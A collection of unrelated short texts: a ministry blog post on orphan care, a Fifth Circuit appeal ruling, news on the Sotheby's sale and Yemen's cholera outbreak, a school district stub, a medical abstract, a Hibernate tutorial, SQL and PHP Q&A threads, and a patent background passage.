[ "We live in a broken world. ", "Unless you’re living in a cave, it’s impossible not to be aware of people all around us struggling with difficulties in life. ", "We see suffering in the news from countries far away, we read about war and injustice in so many places. ", "If we haven’t become too calloused, we see struggling people in our towns, in our churches, and maybe even in our own homes. ", "It can be overwhelming. ", "We almost have to maintain a certain level of denial, or we would curl up into a ball to give up hope. ", "BUT, sometimes, with God’s guidance, we can maintain hope and make a difference in someone’s life. ", "We CAN make a difference. ", "Hang on to that. ", "Seek God’s will with who you should help.", "\n\nIn my line of work, caring for orphaned and abandoned children, it’s easy to be overwhelmed by the staggering numbers of children in need. ", "Depending on how you define “orphan,” there are around 150 million orphaned or abandoned children worldwide. ", "If the international numbers aren’t discouraging enough, even the numbers of a single city can be overwhelming. ", "In Tijuana, the city closest to where I work, the figure that’s used is roughly 5,000 children living on the streets. ", "You can’t save everyone, no one can.", "\n\nYesterday I was contacted about a single mom with four kids. ", "She will likely die in the next few months from an ongoing battle with cancer. ", "There is no extended family and dad abandoned the family long ago. ", "Someone helping her reached out to us about taking her four children into our home. ", "The details are still being worked out, and we’re doing what we can to help. ", "The four siblings will probably wind up moving into our home at some point. ", "It’s making the best of a heartbreaking situation. ", "BUT, for every child we’re able to help, there are 60, 80, 100 children that we need to turn away. ", "The team here has to make Solomon like decisions every day: Who do you help? ", "And who do you turn away? ", "You can’t save everyone.", "\n\nAnyone working full-time (or even part-time) in a service focused ministry needs to make hard decisions every day. ", "For every homeless individual you serve, there are 20 more people outside the door. ", "For every family a food bank helps with a box of groceries, there are 30 more families needing assistance. ", "For every child rescued, there are dozens more in danger on the streets.", "\n\nIf we try to help everyone in our sphere of influence, we might wind up helping no one. ", "I work with orphanages from many different countries. ", "I’ve found that just like people, orphanages tend to land into personality types. ", "One type of orphanage that I understand, but dread walking into, is what I call the “crazy cat lady orphanage.” ", "Occasionally an orphanage is run by someone who is so overwhelmed by the hurting children around them that they take in any child in need. ", "That might sound very noble: “I never turn away a child in need,” but it sets up a horrible situation. ", "If the home has space, resources, and staffing to do a good job for 30 children, it can be a beautiful thing. ", "If that same home, with the same resources, grows to 50, 70, 90 children it can be horrible. ", "Lack of food, hygiene, and general attention can make some orphanages a filthy, lice and rat infested nightmare. ", "Last year, one home I visited staggered me, my first thought was “these children would be better off on the streets.” ", "I really liked the director. ", "I think her heart truly was to help the kids, but she was so overwhelmed she became ineffective in reaching her end goal. ", "Where do we find the balance?", "\n\nThere’s a topic that most people don’t talk about. ", "Jesus, in the three years that he minstered on this earth, didn’t help everyone. ", "For every cripple he healed there were hundreds he didn’t. ", "For every injustice he confronted there were dozens he walked past. ", "For every person He taught, there were thousands that never heard Him speak. ", "Jesus fed the 5,000, but there were many others that went hungry. ", "No one would call Jesus a failure, He found a balance and did the will of his Father. ", "That’s all He was required to do, that’s all any of us are called to do. ", "Jesus spent a tremendous amount of time in prayer, He spent time alone, and then went and did what He was called to do. ", "It’s a pretty good model, one more of us should follow.", "\n\nWhether we realize it or not, we all make decisions every day about who we can help, and who we turn our back on. ", "How many homeless people do we walk past on the way to Starbucks? ", "Are there people in our church, school, or office that just need someone to listen to them? ", "It’s ok to say “no” to someone in need IF our hearts are open and sensitive to serving those in need when we are called. ", "We need to seek to understand God’s will. ", "We need to be seeking His eyes and heart for the suffering around us, and the wisdom to represent Him well.", "\n\nIf you’ve become overwhelmed with the challenges and suffering around you, and don’t help others because you can’t save everyone, please step out and help just one person this week. ", "It will matter greatly to them, and your life will be better for walking in the example of Jesus. ", "If you’re the one overworking, killing yourself trying to save everyone, please have some grace for yourself and take a break. ", "You can also walk in the example of Jesus: say “no” to someone, say yes to helping the ones God is calling you to help, and in all things: seek the Father’s will." ]

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[ " UNITED STATES COURT OF APPEALS\n FIFTH CIRCUIT\n\n _________________\n\n No. ", "00-20996\n\n (Summary Calendar)\n _________________\n\n\n GERRARDO CARRILLO,\n\n\n Plaintiff - Appellant,\n\n versus\n\n\n J.A. DESANTO, Houston Police Department; CLARENCE\n BRADFORD, Police Chief; CITY OF HOUSTON; DAVID C\n ZAHARIS; JOHN A JACKSON,\n\n\n Defendants - Appellees.", "\n\n\n\n Appeal from the United States District Court\n For the Southern District of Texas\n USDC No. ", "H-98-CV-4023\n\n August 15, 2001\n\nBefore JOLLY, EMILIO M. GARZA, and PARKER, Circuit Judges.", "\n\nPER CURIAM:*\n\n Gerardo Carrillo appeals the district court’s judgment in favor of the defendants in his 28\n\n\n\n\n *\n Pursuant to 5TH CIR. ", "R. 47.5, the court has determined that this opinion should not\nbe published and is not precedent except under the limited circumstances set forth in 5TH CIR. ", "R.\n47.5.4.", "\n\fU.S.C. § 1983 civil rights action. ", "He argues that the district court erred in (1) denying his third\n\nmotion for a default judgment; (2) making various evidentiary rulings; (3) failing to consider a third,\n\nallegedly related arrest which occurred after this action was filed; and (4) denying his motion for\n\njudgment as a matter of law or for a new trial.", "\n\n Carrillo has not shown that the district court abused its discretion in denying his motion for\n\ndefault judgment. ", "Befo re a default judgment could be entered, the defendants filed answers to\n\nCarrillo’s amended complaint. ", "See Ganther v. Ingle, 75 F.3d 207, 212 (5th Cir. ", "1996); Mason v.\n\nLister, 562 F.2d 343, 345 (5th Cir. ", "1977); see also Fed.", "R.Civ.", "P. 55(b).", "\n\n Review of the district court’s evidentiary rulings and denial of Carrillo’s postjudgment motion\n\nrequires review of the record, including the trial transcript. ", "Carrillo has not provided a trial transcript.", "\n\nThe district court denied Carrillo’s motion for a transcript at government expense because the court\n\ndetermined that any appeal would not present a substantial question and would be frivolous. ", "Carrillo\n\nfiled a motion for a transcript at government expense in this court, but the motion was denied because\n\nCarrillo did not identify a substantial question or show that the transcript was necessary to present\n\nhis appeal. ", "Without a transcript, it is not possible for the court to consider whether the district court\n\nerred in making certain evidentiary rulings or in denying Carrillo’s postjudgment motion. ", "See Farrar\n\nv. Cain. ", "756 F.2d 1148, 1152 (5th Cir. ", "1985).", "\n\n AFFIRMED.", "\n\n\n\n\n -2-\n\f" ]

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[ "Image copyright Reuters\n\nSotheby's is being bought by telecoms billionaire Patrick Drahi in a deal valuing the auction house at $3.7bn.", "\n\nThe company, which has been on the New York stock market for 31 years, will return to private ownership after a troubled period.", "\n\nFrench entrepreneur and art collector Mr Drahi, founder of telecoms group Altice, is buying Sotheby's amid signs that the art market is booming again.", "\n\nSotheby's arch rival Christie's is also French-owned via the Pinault family.", "\n\nAfter the financial crisis sent the art market into a tailspin, Sotheby's went through rounds of cost-cutting and faced attacks by hedge fund investors Dan Loeb and Mick McGuire.", "\n\nMr Loeb's Third Point group is the second-biggest investor with a 14% stake.", "\n\nA prominent art collector, Mr Loeb praised the sale, telling Reuters that the price \"affirms the value we saw when we first invested in Sotheby's, and rewards long-term investors like Third Point who believed in its potential\".", "\n\nThe price being paid is a 61% premium to Sotheby's closing share price on Friday.", "\n\nImage copyright Getty Images Image caption Patrick Drahi started his career at Philips before joining a subsidiary of US cable giant Liberty Global\n\nConfirmation that the art auction market had picked up came in November 2017 when Salvator Mundi, the long-lost Leonardo da Vinci painting of Jesus Christ commissioned by King Louis XII of France, sold in New York for a record-breaking $450.3m including fees. ", "Christie's handled that sale.", "\n\nSotheby's handled 2018's most expensive painting, Amedeo Modigliani's Nu couché, which sold for $157.2m. And in May, the company sold one of Claude Monet's \"Meules\" (Haystacks) series for $110.7m, which Sotheby's said was a record for an impressionist painting.", "\n\nAmong some of the famous items sold by Sotheby's, which was founded in London in 1744, are art collections of the late Duchess of Windsor, the personal collection of artist Andy Warhol, and Edvard Munch's \"The Scream\" in 2012.", "\n\nMorocco-born Mr Drahi moved to France aged 15, and started his career at Philips before joining a subsidiary of US cable giant Liberty Global.", "\n\nHe established himself as a major telecoms entrepreneur over the past six years, buying France's second-biggest mobile phone operator SFR and acquiring US cable companies. ", "He also owns Portugal Telecom." ]

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[ "Chardon Local School District\n\nChardon Local School District is a school district which serves part of Geauga County, Ohio, United States. ", "It is based in Chardon, Ohio.", "\n\nVision 2020\n|PDF\n\nSchools\nIt operates the following schools:\nChardon High School\nChardon Middle School\nMaple Early Learning Center\nMunson Elementary School\nPark Elementary School\n\nExternal links\nChardon Local School District\n\nCategory:School districts in Ohio\nCategory:Education in Geauga County, Ohio\nLocal School District" ]

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[ "Effects of straylight on visual acuity in pseudophakia.", "\nA new method is presented to study the effect of straylight on visual acuity using a spectacle frame fitted with concentric light-emitting diodes as a glare source. ", "Preliminary results showed that intraocular lenses scatter about 2.3 times more than healthy human lenses." ]

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[ "Follow @vlad_mihalcea Imagine having a tool that can automatically detect if you are using JPA and Hibernate properly. ", "Hypersistence Optimizer is that tool!", "\n\nIntroduction\n\nHibernate runs the automatic dirty checking mechanism during flush-time, and any managed entity state change is translated into an UPDATE SQL statement. ", "The default dirty checking mechanism uses Java reflection and goes through every property of every managed entity.", "\n\nIf the Persistence Context has few entities, this process might go unnoticed, but, if we’re dealing with many entities or the entities have many properties (e.g. a legacy database Domain Model mapping), then the reflection-based dirty checking might have an associated performance impact.", "\n\nHibernate offers support for instrumenting entity bytecode for three use cases:\n\nlazy initialization (allows entity attributes to be fetched lazily)\n\ndirty tracking (the entity tracks its own property changes)\n\nassociation management (allows automatic sides synchronization for bidirectional associations)\n\nAlthough it featured a bytecode enhancement tool since version 3.x, even in Hibernate 4.x the bytecode enhancement mechanism was not completely implemented for dirty checking.", "\n\nIt’s Hibernate 5 time\n\nAmong many other features, Hibernate 5.x comes with a brand new bytecode enhancement implementation which also takes care of the dirty checking mechanism.", "\n\nAlthough bytecode enhancement can be done at compile-time, runtime or deploy time, the compile-time alternative is preferred for the following reasons:\n\nthe enhanced classes can be covered by unit tests\n\nthe Java EE application server or the stand-alone container (e.g. Spring) can bootstrap faster because there’s no need to instrument classes at runtime or deploy-time\n\nclass loading issues are avoided since the application server doesn’t have to take care of two versions of the same class (the original and the enhanced one).", "\n\nTo instrument all @Entity classes, you need to add the following Maven plugin:\n\n<plugin> <groupId>org.hibernate.orm.tooling</groupId> <artifactId>hibernate-enhance-maven-plugin</artifactId> <version>${hibernate.version}</version> <executions> <execution> <configuration> <enableDirtyTracking>true</enableDirtyTracking> </configuration> <goals> <goal>enhance</goal> </goals> </execution> </executions> </plugin>\n\nAfter the Java classes are compiled, the plugin goes through all entity classes and modifies their bytecode according to the instrumentation options chosen during configuration.", "\n\nWhen enabling the dirty tracking option, Hibernate will track property changes through the following mechanism.", "\n\nThe $$_hibernate_tracker attribute stores every property change, and every setter method will call the $$_hibernate_trackChange method.", "\n\n@Transient private transient DirtyTracker $$_hibernate_tracker; public void $$_hibernate_trackChange(String paramString) { if (this.$$_hibernate_tracker == null) { this.$$_hibernate_tracker = new SimpleFieldTracker(); } this.$$_hibernate_tracker.add(paramString); }\n\nConsidering the following original Java entity class setter method:\n\npublic void setTitle(String title) { this.title = title; }\n\nHibernate transforms it to the following bytecode representation:\n\npublic void setTitle(String title) { if(!EqualsHelper.areEqual(this.title, title)) { this.$$_hibernate_trackChange(\"title\"); } this.title = title; }\n\nWhen the application developer calls the setTitle method with an argument that differs from the currently stored title ,\n\nthe change is going to be recorded in the $$_hibernate_tracker class attribute.", "\n\nDuring flushing, Hibernate inspects the $$_hibernate_hasDirtyAttributes method to validate if an entity is dirty.", "\n\nThe $$_hibernate_getDirtyAttributes method gives a String[] containing all dirty properties.", "\n\npublic boolean $$_hibernate_hasDirtyAttributes() { return $$_hibernate_tracker !", "= null && !", "$$_hibernate_tracker.isEmpty(); } public String[] $$_hibernate_getDirtyAttributes() { if($$_hibernate_tracker == null) { $$_hibernate_tracker = new SimpleFieldTracker(); } return $$_hibernate_tracker.get(); }\n\nConclusion\n\nAlthough bytecode enhancement dirty tracking can speed up the Persistence Context flushing mechanism,\n\nif the size of the Persistence Context is rather small, the improvement is not that significant.", "\n\nThe entity snapshot is still saved in the Persistence Context even when using bytecode enhancement.", "\n\nFor this reason, keeping the Persistence Context in reasonable boundaries holds on no matter the dirty tracking mechanism in use.", "\n\nInsert details about how the information is going to be processed DOWNLOAD NOW" ]

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[ "Q:\n\nLeft Join em SQL\n\nSELECT SUM(TAXAS) FROM DOCUMENTO\nLEFT JOIN PARCELAS PARCELA IN\n(PARCELA.CODE = DOCUMENTO.CODE)\nWHERE PARCELAS.FATURADAS = TRUE\n\nEstou recebendo um erro de sintaxe que não consigo resolver\n\nA:\n\nSELECT SUM(DOC.TAXAS) FROM DOCUMENTOS DOC\nLEFT JOIN PARCELAS PARCELA ON\n(PARCELA.CODE = DOC.CODE)\nWHERE PARCELAS.FATURADAS = 1\n\nVocê colocou IN quando deveria ser ON e deve ser 1 no lugar de true\nEssa do where eu não tinha percebido, então pode dar como correta a resposta do Ricardo\n\nA:\n\nTem dois erros no seu seu script:\n1) LEFT JOIN PARCELAS PARCELA IN \ndeve ser: LEFT JOIN PARCELAS PARCELA ON\nDocumentação: https://technet.microsoft.com/pt-br/library/ms187518(v=sql.105).aspx\n2) WHERE PARCELAS.FATURADAS = TRUE deve ser: WHERE PARCELAS.FATURADAS = 1\nCampos bit são comparados com 0 (falso) ou 1 (verdadeiro)\n\n" ]

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[ "Q:\n\nhow to format message body of email?", "\n\ni have developed a simple php contact form, that's working fine, but i am unable to format the body of the message as per my requirement, my code is given below, i am getting mail in a single line format, \nwhere i want every information on a new line like this\n\"Name: Syed Sheeraz Ahmed\nContact No: 03453594552\nEmail: abc@abc.com\nAddress: R-47, Sector 9, North city.", "\nRequirement: hello how are you\"\n<?", "php\n$to = \"sheery_1@hotmail.com\";\n$subject = \"From Website Contact Form\";\n$name = $_REQUEST['name'] ;\n$contact = $_REQUEST['contact'] ;\n$address = $_REQUEST['address'] ;\n$MESSAGE_BODY = \"Name: \".$_POST[\"name\"].\"<br>\"; \n$MESSAGE_BODY .= \"Contact No: \".$_POST[\"contact\"].\"<br>\"; \n$MESSAGE_BODY .= \"Email: \".$_POST[\"email\"].\"<br>\"; \n$MESSAGE_BODY .= \"Address: \".$_POST[\"address\"].\"<br>\"; \n$MESSAGE_BODY .= \"Requirement: \".nl2br($_POST[\"message\"]).\"<br>\"; \n$message = $_REQUEST['message' + 'address' + 'contact'] ;\n$from = $_REQUEST['email'] ;\n$headers = \"From:\" . ", "$from;\nmail($to,$subject,$MESSAGE_BODY,$headers);\necho \"Mail Sent.\";", "\n?", "> \n\nA:\n\nYou want a new line (\\n) not an HTML line break (<br>) since your email isn't marked as having an HTML body (and emails that have HTML bodies should really have multipart MIME bodies with both plain text and HTML versions since \"HTML only\" is a nice flag for spam detectors).", "\n\nA:\n\nAs you are using html tag in your email content.", "\nSet the content- type text/html in the header of your mail \n$headers = 'MIME-Version: 1.0' . \"", "\\r\\n\";\n$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"", "\\r\\n\";\n\nOR \nyou can save yourself from this type of problems using phpmailer\n\nA:\n\nIf your email is sending as text then the tags will do nothing. ", "Try using a new line character for example:\n$MESSAGE_BODY = \"Name: \".$_POST[\"name\"].\"\\n\";\nThat should sort your problem.", "\nin above example <br> is printed after the variable printed, why? ", "how to remove <br>\nfor example:\n$_Post[\"name\"] has value \"jhon\".", "\nit prints: jhon<br>\n\n" ]

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[ "The internet and other electronic network connections have made it possible to access vast resources of information. ", "The available information takes many forms. ", "For example, information can be located in web pages, document shares, pdfs, images, text files, etc. ", "For many of these forms, administrator privileges must be granted for a user to mark or annotate the information for future personal reference. ", "However, in many instances, the user cannot gain these privileges and, thus, cannot annotate or markup any part of the resource.", "\nAdditionally, many of the above-mentioned forms of information are lengthy or difficult to navigate. ", "Conventional systems for bookmarking content in a document through a browser lack the ability to specify a location within the document and send a bookmark specific to that location to another user. ", "Therefore, if the document is lengthy or difficult to navigate and the sender does not have privileges to allow for markup of the document, the user cannot send a specific location bookmark to another user. ", "As a result, efficiency in revisiting the information or referencing the information to another party is diminished as the location must be searched out each time." ]

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[ "As Yemen struggles to contain a cholera outbreak that has taken nearly 2,000 lives since last fall, doctors and nurses are working around the clock to treat the sick, and community volunteers are going door to door telling people what they can do to protect themselves.", "\n\nHow widespread is the outbreak? ", "Yemen’s Health Ministry has reported about 408,600 suspected cases of cholera and 1,885 deaths in the current outbreak, which began in October 2016. ", "The country has seen a surge since April of 5,000 cases reported each day.", "\n\nU.N. agency leaders who recently visited the Arab country are calling it the “world’s worst cholera outbreak in the midst of the world’s largest humanitarian crisis.”", "\n\n“At one hospital, we visited children who can barely gather the strength to breathe,” they said in a joint statement.", "\n\nREAD MORE: In Yemen conflict, preventable diseases are a deadly side effect for children\n\nWhat is cholera? ", "Cholera is an infectious disease that causes diarrhea that can lead to dehydration and death if untreated. ", "It comes from water or food contaminated with a bacterium called Vibrio cholera, and most often is spread through contact with the feces of someone who has the disease. ", "Mild cases can be treated with rehydration drinks, and more severe cases need immediate intravenous fluids and antibiotics.", "\n\nWhat’s exacerbating the problem? ", "An ongoing civil war, where people don’t have access to clean water and food, and can’t leave their towns to get medical care because they’re worried about safety, and trash left in streets, are some of the contributing factors.", "\n\nWhat is being done? ", "Whenever possible, health workers travel to places that have reported suspected cases of cholera. ", "They check on and treat the patient, and educate and reassure the community, which is usually in a “state of panic” at that point. ", "Organizations such as the National Foundation for Development and Humanitarian Response also talk to people about cleaning trash from the streets and hand out chlorine tablets for whatever water sources are available.", "\n\nThe World Health Organization, partner aid groups and the Yemen Health Ministry have set up 47 diarrhea treatment centers and 278 oral dehydration centers in 16 governorates. ", "A two-dose vaccination campaign is expected to launch next year in high-risk areas.", "\n\nWatch a PBS NewsHour report on the food crisis and cholera outbreak in Yemen.", "\n\nREAD MORE: Attacks in Syria and Yemen are turning disease into weapon of war" ]

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